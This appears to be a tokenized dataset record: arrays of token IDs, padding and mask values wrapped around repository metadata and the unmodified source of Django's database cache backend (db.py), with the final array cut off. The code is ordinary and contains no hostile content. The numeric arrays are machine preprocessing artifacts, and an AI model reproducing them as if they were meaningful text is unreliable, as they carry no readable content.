13275, 2541, 340, 440, 5246, 14, 1095, 63, 2444, 26, 267, 870, 14097, 1030, 6854, 26, 15161, 5246, 365, 21737, 26, 450, 83, 3171, 450, 334, 4694, 14, 1095, 4641, 489, 587, 26, 267, 20835, 275, 5246, 14, 18679, 267, 1434, 275, 5246, 14, 602, 267, 870, 360, 4042, 18, 68, 5532, 5, 83, 12, 450, 83, 3171, 450, 334, 288, 822, 8, 18679, 395, 288, 822, 8, 18679, 9, 1137, 413, 436, 283, 83, 7, 503, 283, 1656, 288, 1434, 430, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 1898, 334, 35, 9, 9079, 710, 14694, 3232, 5800, 7290, 199, 3, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 420, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 199, 504, 3164, 492, 3626, 6854, 199, 504, 1414, 492, 510, 6028, 3110, 421, 199, 533, 510, 14780, 8, 16769, 3110, 304, 523, 2863, 275, 715, 523, 1720, 10407, 275, 298, 48, 14780, 334, 1807, 9, 2575, 9545, 17398, 2, 523, 1720, 7692, 275, 408, 199, 5, 6595, 24936, 1715, 30, 18737, 199, 624, 819, 347, 17009, 8, 277, 12, 2450, 12, 1249, 304, 272, 1006, 63, 16896, 275, 942, 272, 367, 2199, 315, 291, 14, 1002, 24286, 8, 589, 304, 489, 1006, 63, 16896, 14, 2880, 8, 1715, 14, 48, 14780, 1966, 9402, 1012, 339, 340, 440, 1006, 63, 16896, 26, 489, 372, 339, 1021, 11774, 8, 4117, 316, 304, 489, 347, 636, 826, 721, 277, 12, 1101, 304, 267, 3626, 6854, 855, 826, 721, 277, 12, 1101, 12, 283, 1205, 358, 267, 291, 14, 1715, 275, 291, 14, 11835, 360, 1291, 297, 1921, 534, 9771, 358, 339, 734, 275, 11774, 8, 452, 63, 16896, 59, 16, 1055, 1715, 14, 888, 9, 272, 734, 14, 1715, 360, 15960, 699, 2965, 397, 358, 272, 734, 14, 7530, 342, 339, 2199, 275, 488, 339, 367, 5246, 315, 1006, 63, 16896, 26, 489, 340, 2199, 1137, 5246, 14, 1715, 26, 267, 2199, 275, 5246, 14, 1715, 267, 734, 14, 7530, 342, 267, 734, 14, 1715, 360, 1715, 450, 83, 4805, 450, 2199, 14, 12405, 9, 267, 734, 14, 7530, 342, 2541, 870, 3508, 83, 19752, 1153, 83, 283, 450, 334, 288, 5246, 14, 354, 508, 2199, 14, 5639, 12526, 436, 13626, 503, 283, 1656, 288, 5246, 14, 354, 395, 1284, 13275, 2541, 340, 440, 5246, 14, 1095, 63, 2444, 26, 267, 870, 14097, 1030, 6854, 26, 15161, 5246, 365, 21737, 26, 450, 83, 3171, 450, 334, 4694, 14, 1095, 4641, 489, 587, 26, 267, 20835, 275, 5246, 14, 18679, 267, 1434, 275, 5246, 14, 602, 267, 870, 360, 4042, 18, 68, 5532, 5, 83, 12, 450, 83, 3171, 450, 334, 288, 822, 8, 18679, 395, 288, 822, 8, 18679, 9, 1137, 413, 436, 283, 83, 7, 503, 283, 1656, 288, 1434, 430, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
caiocsalvador/whats_the_craic
lib/python3.4/site-packages/django/core/cache/backends/db.py
480
8628
"Database cache backend." import base64 from datetime import datetime from django.conf import settings from django.core.cache.backends.base import DEFAULT_TIMEOUT, BaseCache from django.db import DatabaseError, connections, models, router, transaction from django.utils import six, timezone from django.utils.encoding import force_bytes try: from django.utils.six.moves import cPickle as pickle except ImportError: import pickle class Options(object): """A class that will quack like a Django model _meta class. This allows cache operations to be controlled by the router """ def __init__(self, table): self.db_table = table self.app_label = 'django_cache' self.model_name = 'cacheentry' self.verbose_name = 'cache entry' self.verbose_name_plural = 'cache entries' self.object_name = 'CacheEntry' self.abstract = False self.managed = True self.proxy = False self.swapped = False class BaseDatabaseCache(BaseCache): def __init__(self, table, params): BaseCache.__init__(self, params) self._table = table class CacheEntry(object): _meta = Options(table) self.cache_model_class = CacheEntry class DatabaseCache(BaseDatabaseCache): # This class uses cursors provided by the database connection. This means # it reads expiration values as aware or naive datetimes, depending on the # value of USE_TZ and whether the database supports time zones. The ORM's # conversion and adaptation infrastructure is then used to avoid comparing # aware and naive datetimes accidentally. def get(self, key, default=None, version=None): key = self.make_key(key, version=version) self.validate_key(key) db = router.db_for_read(self.cache_model_class) connection = connections[db] table = connection.ops.quote_name(self._table) with connection.cursor() as cursor: cursor.execute("SELECT cache_key, value, expires FROM %s " "WHERE cache_key = %%s" % table, [key]) row = cursor.fetchone() if row is None: return default expires = row[2] expression = models.Expression(output_field=models.DateTimeField()) for converter in (connection.ops.get_db_converters(expression) + expression.get_db_converters(connection)): expires = converter(expires, expression, connection, {}) if expires < timezone.now(): db = router.db_for_write(self.cache_model_class) connection = connections[db] with connection.cursor() as cursor: cursor.execute("DELETE FROM %s " "WHERE cache_key = %%s" % table, [key]) return default value = connection.ops.process_clob(row[1]) return pickle.loads(base64.b64decode(force_bytes(value))) def set(self, key, value, timeout=DEFAULT_TIMEOUT, version=None): key = self.make_key(key, version=version) self.validate_key(key) self._base_set('set', key, value, timeout) def add(self, key, value, timeout=DEFAULT_TIMEOUT, version=None): key = self.make_key(key, version=version) self.validate_key(key) return self._base_set('add', key, value, timeout) def _base_set(self, mode, key, value, timeout=DEFAULT_TIMEOUT): timeout = self.get_backend_timeout(timeout) db = router.db_for_write(self.cache_model_class) connection = connections[db] table = connection.ops.quote_name(self._table) with connection.cursor() as cursor: cursor.execute("SELECT COUNT(*) FROM %s" % table) num = cursor.fetchone()[0] now = timezone.now() now = now.replace(microsecond=0) if timeout is None: exp = datetime.max elif settings.USE_TZ: exp = datetime.utcfromtimestamp(timeout) else: exp = datetime.fromtimestamp(timeout) exp = exp.replace(microsecond=0) if num > self._max_entries: self._cull(db, cursor, now) pickled = pickle.dumps(value, pickle.HIGHEST_PROTOCOL) b64encoded = base64.b64encode(pickled) # The DB column is expecting a string, so make sure the value is a # string, not bytes. Refs #19274. if six.PY3: b64encoded = b64encoded.decode('latin1') try: # Note: typecasting for datetimes is needed by some 3rd party # database backends. All core backends work without typecasting, # so be careful about changes here - test suite will NOT pick # regressions. with transaction.atomic(using=db): cursor.execute("SELECT cache_key, expires FROM %s " "WHERE cache_key = %%s" % table, [key]) result = cursor.fetchone() if result: current_expires = result[1] expression = models.Expression(output_field=models.DateTimeField()) for converter in (connection.ops.get_db_converters(expression) + expression.get_db_converters(connection)): current_expires = converter(current_expires, expression, connection, {}) exp = connection.ops.adapt_datetimefield_value(exp) if result and (mode == 'set' or (mode == 'add' and current_expires < now)): cursor.execute("UPDATE %s SET value = %%s, expires = %%s " "WHERE cache_key = %%s" % table, [b64encoded, exp, key]) else: cursor.execute("INSERT INTO %s (cache_key, value, expires) " "VALUES (%%s, %%s, %%s)" % table, [key, b64encoded, exp]) except DatabaseError: # To be threadsafe, updates/inserts are allowed to fail silently return False else: return True def delete(self, key, version=None): key = self.make_key(key, version=version) self.validate_key(key) db = router.db_for_write(self.cache_model_class) connection = connections[db] table = connection.ops.quote_name(self._table) with connection.cursor() as cursor: cursor.execute("DELETE FROM %s WHERE cache_key = %%s" % table, [key]) def has_key(self, key, version=None): key = self.make_key(key, version=version) self.validate_key(key) db = router.db_for_read(self.cache_model_class) connection = connections[db] table = connection.ops.quote_name(self._table) if settings.USE_TZ: now = datetime.utcnow() else: now = datetime.now() now = now.replace(microsecond=0) with connection.cursor() as cursor: cursor.execute("SELECT cache_key FROM %s " "WHERE cache_key = %%s and expires > %%s" % table, [key, connection.ops.adapt_datetimefield_value(now)]) return cursor.fetchone() is not None def _cull(self, db, cursor, now): if self._cull_frequency == 0: self.clear() else: connection = connections[db] table = connection.ops.quote_name(self._table) cursor.execute("DELETE FROM %s WHERE expires < %%s" % table, [connection.ops.adapt_datetimefield_value(now)]) cursor.execute("SELECT COUNT(*) FROM %s" % table) num = cursor.fetchone()[0] if num > self._max_entries: cull_num = num // self._cull_frequency cursor.execute( connection.ops.cache_key_culling_sql() % table, [cull_num]) cursor.execute("DELETE FROM %s " "WHERE cache_key < %%s" % table, [cursor.fetchone()[0]]) def clear(self): db = router.db_for_write(self.cache_model_class) connection = connections[db] table = connection.ops.quote_name(self._table) with connection.cursor() as cursor: cursor.execute('DELETE FROM %s' % table)
mit
[ 2, 7243, 2581, 4865, 2122, 199, 646, 1300, 772, 199, 504, 2197, 492, 2197, 199, 199, 504, 1639, 14, 2190, 492, 2202, 199, 504, 1639, 14, 1018, 14, 1637, 14, 7765, 14, 1095, 492, 6186, 63, 8899, 12, 3523, 4437, 199, 504, 1639, 14, 697, 492, 27728, 12, 6947, 12, 1709, 12, 6197, 12, 6008, 199, 504, 1639, 14, 1208, 492, 3816, 12, 7137, 199, 504, 1639, 14, 1208, 14, 2991, 492, 3542, 63, 2394, 199, 199, 893, 26, 272, 687, 1639, 14, 1208, 14, 4174, 14, 4912, 492, 17572, 465, 5927, 199, 2590, 3545, 26, 272, 492, 5927, 421, 199, 533, 8394, 8, 785, 304, 272, 408, 33, 1021, 626, 911, 2173, 564, 2839, 282, 5634, 1402, 485, 2024, 1021, 14, 339, 961, 6127, 2581, 5331, 370, 506, 22284, 701, 314, 6197, 272, 408, 272, 347, 636, 826, 721, 277, 12, 1817, 304, 267, 291, 14, 697, 63, 1224, 275, 1817, 267, 291, 14, 571, 63, 1302, 275, 283, 1176, 63, 1637, 7, 267, 291, 14, 1238, 63, 354, 275, 283, 1637, 2373, 7, 267, 291, 14, 3832, 63, 354, 275, 283, 1637, 2397, 7, 267, 291, 14, 3832, 63, 354, 63, 10019, 275, 283, 1637, 4811, 7, 267, 291, 14, 785, 63, 354, 275, 283, 4437, 3900, 7, 267, 291, 14, 6198, 275, 756, 267, 291, 14, 11122, 275, 715, 267, 291, 14, 3280, 275, 756, 267, 291, 14, 28989, 275, 756, 421, 199, 533, 29103, 4437, 8, 1563, 4437, 304, 272, 347, 636, 826, 721, 277, 12, 1817, 12, 1862, 304, 267, 3523, 4437, 855, 826, 721, 277, 12, 1862, 9, 267, 291, 423, 1224, 275, 1817, 398, 1021, 11977, 3900, 8, 785, 304, 288, 485, 2024, 275, 8394, 8, 1224, 9, 267, 291, 14, 1637, 63, 1238, 63, 533, 275, 11977, 3900, 421, 199, 533, 8692, 4437, 8, 1563, 7243, 4437, 304, 339, 327, 961, 1021, 4440, 18809, 1384, 2741, 701, 314, 3050, 1950, 14, 961, 4910, 272, 327, 652, 11597, 15399, 1338, 465, 20381, 503, 19995, 29297, 12, 10298, 641, 314, 272, 327, 574, 402, 4815, 63, 14226, 436, 3775, 314, 3050, 5171, 900, 18666, 14, 710, 23383, 1159, 272, 327, 8603, 436, 19520, 425, 28890, 6976, 365, 2066, 1202, 370, 5126, 20234, 272, 327, 20381, 436, 19995, 29297, 24634, 1183, 14, 339, 347, 664, 8, 277, 12, 790, 12, 849, 29, 403, 12, 1015, 29, 403, 304, 267, 790, 275, 291, 14, 1875, 63, 498, 8, 498, 12, 1015, 29, 1023, 9, 267, 291, 14, 3502, 63, 498, 8, 498, 9, 267, 1592, 275, 6197, 14, 697, 63, 509, 63, 739, 8, 277, 14, 1637, 63, 1238, 63, 533, 9, 267, 1950, 275, 6947, 59, 697, 61, 267, 1817, 275, 1950, 14, 1483, 14, 3513, 63, 354, 8, 277, 423, 1224, 9, 398, 543, 1950, 14, 3937, 342, 465, 3920, 26, 288, 3920, 14, 2526, 480, 4859, 2581, 63, 498, 12, 574, 12, 12261, 4442, 450, 83, 298, 2574, 298, 17688, 2581, 63, 498, 275, 11539, 83, 2, 450, 1817, 12, 359, 498, 566, 288, 1962, 275, 3920, 14, 11591, 342, 267, 340, 1962, 365, 488, 26, 288, 372, 849, 398, 12261, 275, 1962, 59, 18, 61, 267, 3965, 275, 1709, 14, 9093, 8, 1199, 63, 698, 29, 992, 14, 4626, 1012, 267, 367, 11109, 315, 334, 2105, 14, 1483, 14, 362, 63, 697, 63, 17911, 8, 5599, 9, 435, 2079, 3965, 14, 362, 63, 697, 63, 17911, 8, 2105, 2298, 288, 12261, 275, 11109, 8, 12342, 12, 3965, 12, 1950, 12, 5009, 398, 340, 12261, 665, 7137, 14, 2131, 837, 288, 1592, 275, 6197, 14, 697, 63, 509, 63, 952, 8, 277, 14, 1637, 63, 1238, 63, 533, 9, 288, 1950, 275, 6947, 59, 697, 61, 288, 543, 1950, 14, 3937, 342, 465, 3920, 26, 355, 3920, 14, 2526, 480, 7014, 4442, 450, 83, 298, 3044, 298, 17688, 2581, 63, 498, 275, 11539, 83, 2, 450, 1817, 12, 359, 498, 566, 288, 372, 849, 398, 574, 275, 1950, 14, 1483, 14, 1412, 63, 67, 1191, 8, 1143, 59, 17, 566, 267, 372, 5927, 14, 3640, 8, 1095, 772, 14, 66, 772, 2708, 8, 3990, 63, 2394, 8, 585, 1724, 339, 347, 663, 8, 277, 12, 790, 12, 574, 12, 2653, 29, 3472, 63, 8899, 12, 1015, 29, 403, 304, 267, 790, 275, 291, 14, 1875, 63, 498, 8, 498, 12, 1015, 29, 1023, 9, 267, 291, 14, 3502, 63, 498, 8, 498, 9, 267, 291, 423, 1095, 63, 409, 360, 409, 297, 790, 12, 574, 12, 2653, 9, 339, 347, 1050, 8, 277, 12, 790, 12, 574, 12, 2653, 29, 3472, 63, 8899, 12, 1015, 29, 403, 304, 267, 790, 275, 291, 14, 1875, 63, 498, 8, 498, 12, 1015, 29, 1023, 9, 267, 291, 14, 3502, 63, 498, 8, 498, 9, 267, 372, 291, 423, 1095, 63, 409, 360, 525, 297, 790, 12, 574, 12, 2653, 9, 339, 347, 485, 1095, 63, 409, 8, 277, 12, 818, 12, 790, 12, 574, 12, 2653, 29, 3472, 63, 8899, 304, 267, 2653, 275, 291, 14, 362, 63, 4620, 63, 2593, 8, 2593, 9, 267, 1592, 275, 6197, 14, 697, 63, 509, 63, 952, 8, 277, 14, 1637, 63, 1238, 63, 533, 9, 267, 1950, 275, 6947, 59, 697, 61, 267, 1817, 275, 1950, 14, 1483, 14, 3513, 63, 354, 8, 277, 423, 1224, 9, 398, 543, 1950, 14, 3937, 342, 465, 3920, 26, 288, 3920, 14, 2526, 480, 4859, 24903, 21565, 4442, 450, 83, 2, 450, 1817, 9, 288, 1967, 275, 3920, 14, 11591, 3430, 16, 61, 288, 3063, 275, 7137, 14, 2131, 342, 288, 3063, 275, 3063, 14, 1814, 8, 16627, 29, 16, 9, 288, 340, 2653, 365, 488, 26, 355, 1437, 275, 2197, 14, 988, 288, 916, 2202, 14, 4701, 63, 14226, 26, 355, 1437, 275, 2197, 14, 5834, 18531, 8, 2593, 9, 288, 587, 26, 355, 1437, 275, 2197, 14, 18531, 8, 2593, 9, 288, 1437, 275, 1437, 14, 1814, 8, 16627, 29, 16, 9, 288, 340, 1967, 690, 291, 423, 988, 63, 3189, 26, 355, 291, 423, 67, 979, 8, 697, 12, 3920, 12, 3063, 9, 288, 18731, 275, 5927, 14, 4180, 8, 585, 12, 5927, 14, 31977, 63, 9583, 9, 288, 330, 772 ]
[ 7243, 2581, 4865, 2122, 199, 646, 1300, 772, 199, 504, 2197, 492, 2197, 199, 199, 504, 1639, 14, 2190, 492, 2202, 199, 504, 1639, 14, 1018, 14, 1637, 14, 7765, 14, 1095, 492, 6186, 63, 8899, 12, 3523, 4437, 199, 504, 1639, 14, 697, 492, 27728, 12, 6947, 12, 1709, 12, 6197, 12, 6008, 199, 504, 1639, 14, 1208, 492, 3816, 12, 7137, 199, 504, 1639, 14, 1208, 14, 2991, 492, 3542, 63, 2394, 199, 199, 893, 26, 272, 687, 1639, 14, 1208, 14, 4174, 14, 4912, 492, 17572, 465, 5927, 199, 2590, 3545, 26, 272, 492, 5927, 421, 199, 533, 8394, 8, 785, 304, 272, 408, 33, 1021, 626, 911, 2173, 564, 2839, 282, 5634, 1402, 485, 2024, 1021, 14, 339, 961, 6127, 2581, 5331, 370, 506, 22284, 701, 314, 6197, 272, 408, 272, 347, 636, 826, 721, 277, 12, 1817, 304, 267, 291, 14, 697, 63, 1224, 275, 1817, 267, 291, 14, 571, 63, 1302, 275, 283, 1176, 63, 1637, 7, 267, 291, 14, 1238, 63, 354, 275, 283, 1637, 2373, 7, 267, 291, 14, 3832, 63, 354, 275, 283, 1637, 2397, 7, 267, 291, 14, 3832, 63, 354, 63, 10019, 275, 283, 1637, 4811, 7, 267, 291, 14, 785, 63, 354, 275, 283, 4437, 3900, 7, 267, 291, 14, 6198, 275, 756, 267, 291, 14, 11122, 275, 715, 267, 291, 14, 3280, 275, 756, 267, 291, 14, 28989, 275, 756, 421, 199, 533, 29103, 4437, 8, 1563, 4437, 304, 272, 347, 636, 826, 721, 277, 12, 1817, 12, 1862, 304, 267, 3523, 4437, 855, 826, 721, 277, 12, 1862, 9, 267, 291, 423, 1224, 275, 1817, 398, 1021, 11977, 3900, 8, 785, 304, 288, 485, 2024, 275, 8394, 8, 1224, 9, 267, 291, 14, 1637, 63, 1238, 63, 533, 275, 11977, 3900, 421, 199, 533, 8692, 4437, 8, 1563, 7243, 4437, 304, 339, 327, 961, 1021, 4440, 18809, 1384, 2741, 701, 314, 3050, 1950, 14, 961, 4910, 272, 327, 652, 11597, 15399, 1338, 465, 20381, 503, 19995, 29297, 12, 10298, 641, 314, 272, 327, 574, 402, 4815, 63, 14226, 436, 3775, 314, 3050, 5171, 900, 18666, 14, 710, 23383, 1159, 272, 327, 8603, 436, 19520, 425, 28890, 6976, 365, 2066, 1202, 370, 5126, 20234, 272, 327, 20381, 436, 19995, 29297, 24634, 1183, 14, 339, 347, 664, 8, 277, 12, 790, 12, 849, 29, 403, 12, 1015, 29, 403, 304, 267, 790, 275, 291, 14, 1875, 63, 498, 8, 498, 12, 1015, 29, 1023, 9, 267, 291, 14, 3502, 63, 498, 8, 498, 9, 267, 1592, 275, 6197, 14, 697, 63, 509, 63, 739, 8, 277, 14, 1637, 63, 1238, 63, 533, 9, 267, 1950, 275, 6947, 59, 697, 61, 267, 1817, 275, 1950, 14, 1483, 14, 3513, 63, 354, 8, 277, 423, 1224, 9, 398, 543, 1950, 14, 3937, 342, 465, 3920, 26, 288, 3920, 14, 2526, 480, 4859, 2581, 63, 498, 12, 574, 12, 12261, 4442, 450, 83, 298, 2574, 298, 17688, 2581, 63, 498, 275, 11539, 83, 2, 450, 1817, 12, 359, 498, 566, 288, 1962, 275, 3920, 14, 11591, 342, 267, 340, 1962, 365, 488, 26, 288, 372, 849, 398, 12261, 275, 